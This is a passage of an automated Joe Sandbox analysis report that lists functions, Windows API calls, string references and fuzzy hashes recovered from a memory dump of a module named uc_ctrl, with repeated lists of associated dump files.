Associated: 00000010.00000002.4521074954.000000006D122000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521107216.000000006D124000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521169530.000000006D127000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521169530.000000006D129000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521253585.000000006D130000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521289673.000000006D143000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521391456.000000006D160000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6cec0000_uc_ctrl.jbxd

Similarity

API ID: Color$DeleteObjectSystem$Info$Parameters$Metrics$CapsConditionDeviceMask$DisplayEmptyEnumH_prolog3H_prolog3_MonitorsRectVerifyVersion
String ID:
API String ID: 551326122-0
Opcode ID: e983d4fce654c5bfe0e63205862a8d6e38964b1f84a6271241d0feddb61d1bff
Instruction ID: e8494277860841d3aaff007dac4f7e5d48b2935b2ab18dfab8232b96d3314a29
Opcode Fuzzy Hash: e983d4fce654c5bfe0e63205862a8d6e38964b1f84a6271241d0feddb61d1bff
Instruction Fuzzy Hash: 9D11A3B1A00318ABEB259F719C5AFEEB7BCEB89704F00415DF64597280DBB44E448B90

Function 6CEEF1A9 Relevance: 6.1, APIs: 4, Instructions: 57COMMON

Download Yara Rule

APIs

PathFindFileNameW.SHLWAPI(00000000,?,6CEEF2CF,?,?), ref: 6CEEF1B5
_wcslen.LIBCMT ref: 6CEEF1C2
SetErrorMode.KERNEL32(00000000,?,?,6CEE9F33,?,00000000,6D053C34,00000000), ref: 6CEEF1F4
SetErrorMode.KERNEL32(00000000,?,?,6CEE9F33,?,00000000,6D053C34,00000000), ref: 6CEEF200

Memory Dump Source

Source File: 00000010.00000002.4520767307.000000006CEC1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6CEC0000, based on PE: true

Associated: 00000010.00000002.4520718827.000000006CEC0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4520977868.000000006D053000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521074954.000000006D122000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521107216.000000006D124000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521169530.000000006D127000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521169530.000000006D129000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521253585.000000006D130000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521289673.000000006D143000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521391456.000000006D160000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6cec0000_uc_ctrl.jbxd

Similarity

API ID: ErrorMode$FileFindNamePath_wcslen
String ID:
API String ID: 2098504600-0
Opcode ID: a9784d6151fd9edff97c56a28a5fa09b12868db4ed66ac9ebbec0a6fbaa17eb6
Instruction ID: 15910b53ca28297d57db9b4a8235bec5cf0fd50fee740d71c15c251fdfed32de
Opcode Fuzzy Hash: a9784d6151fd9edff97c56a28a5fa09b12868db4ed66ac9ebbec0a6fbaa17eb6
Instruction Fuzzy Hash: A011A371405248AFDB00AF64E808B9A3BB9AF0D398F30C419F91886B51DB39C552CBA1

Function 6CEEB9A1 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 62libraryCOMMON

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(?,00000000,00000060,?,?,?,?,?), ref: 6CEEBA24
LoadLibraryExW.KERNEL32(?,00000000,00000002,?,?,?,?,?), ref: 6CEEBA38

Strings

LOC, xrefs: 6CEEB9C6

Memory Dump Source

Source File: 00000010.00000002.4520767307.000000006CEC1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6CEC0000, based on PE: true

Associated: 00000010.00000002.4520718827.000000006CEC0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4520977868.000000006D053000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521074954.000000006D122000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521107216.000000006D124000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521169530.000000006D127000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521169530.000000006D129000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521253585.000000006D130000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521289673.000000006D143000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521391456.000000006D160000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6cec0000_uc_ctrl.jbxd

Similarity

API ID: LibraryLoad
String ID: LOC
API String ID: 1029625771-519433814
Opcode ID: f66707620efff427dbd577f3368f8c40d0c57cb507b105c1c3d4d2ec6c4d0614
Instruction ID: 0c7b064b02b8747cef448c17d6204c8ab2124c6c560639b17383a484f6ea6f70
Opcode Fuzzy Hash: f66707620efff427dbd577f3368f8c40d0c57cb507b105c1c3d4d2ec6c4d0614
Instruction Fuzzy Hash: 36112732D05318BBDF109BA88C84FDD37789B0A368F510175E6056B5A0EB309C009790

Function 6CEEB03C Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 44COMMON

Download Yara Rule

APIs

GetModuleFileNameW.KERNEL32(?,?,00000104), ref: 6CEEB060
PathFindExtensionW.SHLWAPI(?), ref: 6CEEB076

Part of subcall function 6CEEA6A6: __EH_prolog3_GS.LIBCMT ref: 6CEEA6B0

Strings

%Ts%Ts.dll, xrefs: 6CEEB083

Memory Dump Source

Source File: 00000010.00000002.4520767307.000000006CEC1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6CEC0000, based on PE: true

Associated: 00000010.00000002.4520718827.000000006CEC0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4520977868.000000006D053000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521074954.000000006D122000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521107216.000000006D124000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521169530.000000006D127000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521169530.000000006D129000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521253585.000000006D130000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521289673.000000006D143000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521391456.000000006D160000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6cec0000_uc_ctrl.jbxd

Similarity

API ID: ExtensionFileFindH_prolog3_ModuleNamePath
String ID: %Ts%Ts.dll
API String ID: 3433622546-1896370695
Opcode ID: 8e20c3594471b290987f640cb4cce4f3d476a2faf7cbdbe9af588bf8d8c8003d
Instruction ID: 397a360e3ec012e8c0eaa9a826c64bdcc551b70d19c2004c943f1fb7e154d0f2
Opcode Fuzzy Hash: 8e20c3594471b290987f640cb4cce4f3d476a2faf7cbdbe9af588bf8d8c8003d
Instruction Fuzzy Hash: F8018F32901108ABDB11EBA4DE44AEF77FCEF0D304F1104AA9815D7140EB31EA098B94

Function 6CEEA6A6 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 59COMMON

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 6CEEA6B0

Part of subcall function 6CEEA044: __EH_prolog3.LIBCMT ref: 6CEEA0F2

Part of subcall function 6CEF1A46: GetModuleHandleW.KERNEL32(kernel32.dll,?,?), ref: 6CEF1A79
Part of subcall function 6CEF1A46: GetProcAddress.KERNEL32(00000000,GetThreadPreferredUILanguages), ref: 6CEF1A89
Part of subcall function 6CEF1A46: EncodePointer.KERNEL32(00000000,?,?), ref: 6CEF1A92

Strings

y, xrefs: 6CEEA702

Memory Dump Source

Source File: 00000010.00000002.4520767307.000000006CEC1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6CEC0000, based on PE: true

Associated: 00000010.00000002.4520718827.000000006CEC0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4520977868.000000006D053000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521074954.000000006D122000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521107216.000000006D124000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521169530.000000006D127000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521169530.000000006D129000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521253585.000000006D130000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521289673.000000006D143000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521391456.000000006D160000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6cec0000_uc_ctrl.jbxd

Similarity

API ID: AddressEncodeH_prolog3H_prolog3_HandleModulePointerProc
String ID: y
API String ID: 2515442129-4225443349
Opcode ID: dc73c2e8c9c1d5554fb0d10080ec2af5cd42c76cd4db197001eed97505b2df12
Instruction ID: bb34d5c3e4cfba854e3380540173849ff7d4baf46525e05d836bc733d70266fc
Opcode Fuzzy Hash: dc73c2e8c9c1d5554fb0d10080ec2af5cd42c76cd4db197001eed97505b2df12
Instruction Fuzzy Hash: A5217272C042289BDB21DB64CD40BDD7778AF19358F1082D9E684A7690DBB49FC8CF91

Function 6CEEEA42 Relevance: 3.0, APIs: 2, Instructions: 48COMMON

Download Yara Rule

APIs

Part of subcall function 6CEEFB34: LeaveCriticalSection.KERNEL32(?,?,?,00000000,?,6CEF063F,00000000,?,?,6CECF6D7,6D12244C), ref: 6CEEFB48

__CxxThrowException@8.LIBVCRUNTIME ref: 6CEEEA4D

Part of subcall function 6D026276: RaiseException.KERNEL32(?,?,?,00000001,00000000,?,00000000), ref: 6D0262D5

__EH_prolog3.LIBCMT ref: 6CEEEA5A

Part of subcall function 6CEEFBA5: __CxxThrowException@8.LIBVCRUNTIME ref: 6CEEFBB9

Memory Dump Source

Source File: 00000010.00000002.4520767307.000000006CEC1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6CEC0000, based on PE: true

Associated: 00000010.00000002.4520718827.000000006CEC0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4520977868.000000006D053000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521074954.000000006D122000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521107216.000000006D124000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521169530.000000006D127000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521169530.000000006D129000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521253585.000000006D130000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521289673.000000006D143000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521391456.000000006D160000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6cec0000_uc_ctrl.jbxd

Similarity

API ID: Exception@8Throw$CriticalExceptionH_prolog3LeaveRaiseSection
String ID:
API String ID: 1434208454-0
Opcode ID: fde2af1eb7396d9e9a494d941847eefa49cfb6db09b862d2d45c791ce70d937d
Instruction ID: 27a5e41967435de11cb1e1eb61b71959e661d1656064d9e098ed0ee32e267e61
Opcode Fuzzy Hash: fde2af1eb7396d9e9a494d941847eefa49cfb6db09b862d2d45c791ce70d937d
Instruction Fuzzy Hash: 2B01D630A04A06DBEB119F70D815B693672AF4939CF30452DE5958B7C0EF71C980C791

Function 6CEEB8FE Relevance: 3.0, APIs: 2, Instructions: 39libraryCOMMON

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(?,?,00000060), ref: 6CEEB939
LoadLibraryExW.KERNEL32(?,?,00000002,?,00000060), ref: 6CEEB94D

Memory Dump Source

Source File: 00000010.00000002.4520767307.000000006CEC1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6CEC0000, based on PE: true

Associated: 00000010.00000002.4520718827.000000006CEC0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4520977868.000000006D053000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521074954.000000006D122000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521107216.000000006D124000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521169530.000000006D127000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521169530.000000006D129000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521253585.000000006D130000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521289673.000000006D143000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521391456.000000006D160000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6cec0000_uc_ctrl.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 6fcff5dce422c10f2191a9807b0c6f49cf9fbe362a9696be0c12560b1146c650
Instruction ID: bfed9101382d95b082904fe5be104ae07d2c04552279bdd57745b0fad91cae31
Opcode Fuzzy Hash: 6fcff5dce422c10f2191a9807b0c6f49cf9fbe362a9696be0c12560b1146c650
Instruction Fuzzy Hash: E0F02B32D463059BDF116BB88CC4B9D337CBB0A35CF6101B9D615979D0EB360E0196A5

Function 6CEEF1EE Relevance: 3.0, APIs: 2, Instructions: 31COMMON

Download Yara Rule

APIs

SetErrorMode.KERNEL32(00000000,?,?,6CEE9F33,?,00000000,6D053C34,00000000), ref: 6CEEF1F4
SetErrorMode.KERNEL32(00000000,?,?,6CEE9F33,?,00000000,6D053C34,00000000), ref: 6CEEF200

Part of subcall function 6CEEF24C: GetModuleFileNameW.KERNEL32(?,?,00000104,00000000,?), ref: 6CEEF287
Part of subcall function 6CEEF24C: PathFindExtensionW.SHLWAPI(?), ref: 6CEEF2A1

Memory Dump Source

Source File: 00000010.00000002.4520767307.000000006CEC1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6CEC0000, based on PE: true

Associated: 00000010.00000002.4520718827.000000006CEC0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4520977868.000000006D053000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521074954.000000006D122000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521107216.000000006D124000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521169530.000000006D127000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521169530.000000006D129000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521253585.000000006D130000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521289673.000000006D143000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521391456.000000006D160000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6cec0000_uc_ctrl.jbxd

Similarity

API ID: ErrorMode$ExtensionFileFindModuleNamePath
String ID:
API String ID: 1764437154-0
Opcode ID: 06c2926b08f4e322b14a8ac0a0ef1591e4b91cea29f8839eedfee0172e3e6aa5
Instruction ID: aed8f17429c2b8ee8d4fb164ea580e523a7fc2237622f0082d87488c1002850e
Opcode Fuzzy Hash: 06c2926b08f4e322b14a8ac0a0ef1591e4b91cea29f8839eedfee0172e3e6aa5
Instruction Fuzzy Hash: 68F09A719112448FDB00EF64E008B8A7FF8EF0D298F20C45DE8088B711DB7AC802CBA2

Function 6CF1ED6E Relevance: 1.6, APIs: 1, Instructions: 96COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 6CF1ED75

Part of subcall function 6CF1FA50: VerSetConditionMask.KERNEL32(00000000,00000000,00000002,00000003,00000001,00000003), ref: 6CF1FAAD
Part of subcall function 6CF1FA50: VerSetConditionMask.KERNEL32(00000000), ref: 6CF1FAB5
Part of subcall function 6CF1FA50: VerifyVersionInfoW.KERNEL32(0000011C,00000003,00000000), ref: 6CF1FAC6
Part of subcall function 6CF1FA50: GetSystemMetrics.USER32(00001000), ref: 6CF1FAD7

Memory Dump Source

Source File: 00000010.00000002.4520767307.000000006CEC1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6CEC0000, based on PE: true

Associated: 00000010.00000002.4520718827.000000006CEC0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4520977868.000000006D053000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521074954.000000006D122000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521107216.000000006D124000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521169530.000000006D127000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521169530.000000006D129000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521253585.000000006D130000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521289673.000000006D143000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521391456.000000006D160000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6cec0000_uc_ctrl.jbxd

Similarity

API ID: ConditionMask$H_prolog3InfoMetricsSystemVerifyVersion
String ID:
API String ID: 2710481357-0
Opcode ID: 82af2eb2b583a810d8173bc4c76b5218af25dcd011f89a9738921d5cbf422809
Instruction ID: 76ada56a87dfb4c45fa0eca77aa99fda020dd421bf1b1f8286d92d2909b481d0
Opcode Fuzzy Hash: 82af2eb2b583a810d8173bc4c76b5218af25dcd011f89a9738921d5cbf422809
Instruction Fuzzy Hash: 5B51D0B0945F418FD3A9CF3A85417C6FAE0BF89300F108A2E81AED6660E77161448F95

Function 6CEEAF82 Relevance: 1.6, APIs: 1, Instructions: 58COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 6CEEAF89

Memory Dump Source

Source File: 00000010.00000002.4520767307.000000006CEC1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6CEC0000, based on PE: true

Associated: 00000010.00000002.4520718827.000000006CEC0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4520977868.000000006D053000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521074954.000000006D122000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521107216.000000006D124000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521169530.000000006D127000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521169530.000000006D129000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521253585.000000006D130000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521289673.000000006D143000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521391456.000000006D160000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6cec0000_uc_ctrl.jbxd

Similarity

API ID: H_prolog3
String ID:
API String ID: 431132790-0
Opcode ID: 94b54b8d947d42ecf18d3c3ff20eae7db4be1127f11fc1345a2af2b86d008147
Instruction ID: bbbee91eca6e61451369993090a8d72dd949a938d6d7a8f68244a54c2b68a4ac
Opcode Fuzzy Hash: 94b54b8d947d42ecf18d3c3ff20eae7db4be1127f11fc1345a2af2b86d008147
Instruction Fuzzy Hash: 2011D331B012218FDF05EB248894B6C73B6AF48648F0100BDC915EF394DF34AC06CB86

Function 6D033529 Relevance: 1.5, APIs: 1, Instructions: 39memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(00000008,?,00000000,?,6D0339D9,00000001,00000364,?,6D026FFF,6D0334C4,?,?,6CEEA014,?,00000001,?), ref: 6D03356A

Memory Dump Source

Source File: 00000010.00000002.4520767307.000000006CEC1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6CEC0000, based on PE: true

Associated: 00000010.00000002.4520718827.000000006CEC0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4520977868.000000006D053000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521074954.000000006D122000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521107216.000000006D124000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521169530.000000006D127000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521169530.000000006D129000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521253585.000000006D130000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521289673.000000006D143000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521391456.000000006D160000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6cec0000_uc_ctrl.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 75374183a032a2058def8add0b77af13888752b791523d3e64f0dd2ba1baa829
Instruction ID: 1a2d0c6ccae4b9c65a5999fbb87fcad9339c699f53005108a02014687fed3c09
Opcode Fuzzy Hash: 75374183a032a2058def8add0b77af13888752b791523d3e64f0dd2ba1baa829
Instruction Fuzzy Hash: 7FF0E931A0D337A7FF155A2A9885B6B3BD8AF4A760B43C011EC14DB180CB30FA0186E0

Function 6CEEB968 Relevance: 1.5, APIs: 1, Instructions: 26COMMON

Download Yara Rule

APIs

_wcslen.LIBCMT ref: 6CEEB988

Memory Dump Source

Source File: 00000010.00000002.4520767307.000000006CEC1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6CEC0000, based on PE: true

Associated: 00000010.00000002.4520718827.000000006CEC0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4520977868.000000006D053000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521074954.000000006D122000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521107216.000000006D124000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521169530.000000006D127000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521169530.000000006D129000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521253585.000000006D130000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521289673.000000006D143000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521391456.000000006D160000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6cec0000_uc_ctrl.jbxd

Similarity

API ID: _wcslen
String ID:
API String ID: 176396367-0
Opcode ID: 39fb0906e3a5f1d6309373be30d47d5a8f82d7f50d3dc4b9821f63c0dd148f3b
Instruction ID: 8d2bc7a01beac3e2c22175b8421d93a84dbeb9bc8422fb51967245fb6f645a85
Opcode Fuzzy Hash: 39fb0906e3a5f1d6309373be30d47d5a8f82d7f50d3dc4b9821f63c0dd148f3b
Instruction Fuzzy Hash: D1E02633C04324A78B224F569C008CB777CEF893E8715443AFD1CA3620E732952582E4

Function 6CEEA91A Relevance: 1.5, APIs: 1, Instructions: 21COMMON

Download Yara Rule

APIs

FindResourceW.KERNEL32(8007000E,?,00000006,?,6CEEB0E8,8007000E,?,00000000,00000000,?,6CEEB0D1,00000000,8007000E,8007000E,?), ref: 6CEEA92D

Memory Dump Source

Source File: 00000010.00000002.4520767307.000000006CEC1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6CEC0000, based on PE: true

Associated: 00000010.00000002.4520718827.000000006CEC0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4520977868.000000006D053000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521074954.000000006D122000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521107216.000000006D124000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521169530.000000006D127000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521169530.000000006D129000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521253585.000000006D130000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521289673.000000006D143000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521391456.000000006D160000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6cec0000_uc_ctrl.jbxd

Similarity

API ID: FindResource
String ID:
API String ID: 1635176832-0
Opcode ID: 6479278a0aee988ec70372ad668bbd684b166913ca64156bcfcae18484d91786
Instruction ID: dca7dde91a0abb3267692703bfdf17aeb6c38c24851f4fd4649bbd91f0f0ce49
Opcode Fuzzy Hash: 6479278a0aee988ec70372ad668bbd684b166913ca64156bcfcae18484d91786
Instruction Fuzzy Hash: E6D05E7114021C7FEF010E49ED00ABA3BBDEB84658F109065FC0DC8660E733DE61AA50

Function 6CEF5CD2 Relevance: 1.5, APIs: 1, Instructions: 8COMMON

Download Yara Rule

APIs

DeleteObject.GDI32(00000000), ref: 6CEF5CE1

Memory Dump Source

Source File: 00000010.00000002.4520767307.000000006CEC1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6CEC0000, based on PE: true

Associated: 00000010.00000002.4520718827.000000006CEC0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4520977868.000000006D053000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521074954.000000006D122000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521107216.000000006D124000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521169530.000000006D127000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521169530.000000006D129000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521253585.000000006D130000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521289673.000000006D143000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521391456.000000006D160000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6cec0000_uc_ctrl.jbxd

Similarity

API ID: DeleteObject
String ID:
API String ID: 1531683806-0
Opcode ID: 184c53d897100a74ac43ea3ac6a3cff57bc1d0c934da30dcc33f85e981f1a172
Instruction ID: 6b322ab9364d3053065ba41b7c5af007686871bb50754dea3842363656670eec
Opcode Fuzzy Hash: 184c53d897100a74ac43ea3ac6a3cff57bc1d0c934da30dcc33f85e981f1a172
Instruction Fuzzy Hash: 52B09270803104AACF005B30861C70636B49B5630FF24C998E425D6501DB3A80878914

Function 6CED19A0 Relevance: 1.5, APIs: 1, Instructions: 2COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000010.00000002.4520767307.000000006CEC1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6CEC0000, based on PE: true

Associated: 00000010.00000002.4520718827.000000006CEC0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4520977868.000000006D053000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521074954.000000006D122000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521107216.000000006D124000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521169530.000000006D127000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521169530.000000006D129000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521253585.000000006D130000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521289673.000000006D143000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521391456.000000006D160000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

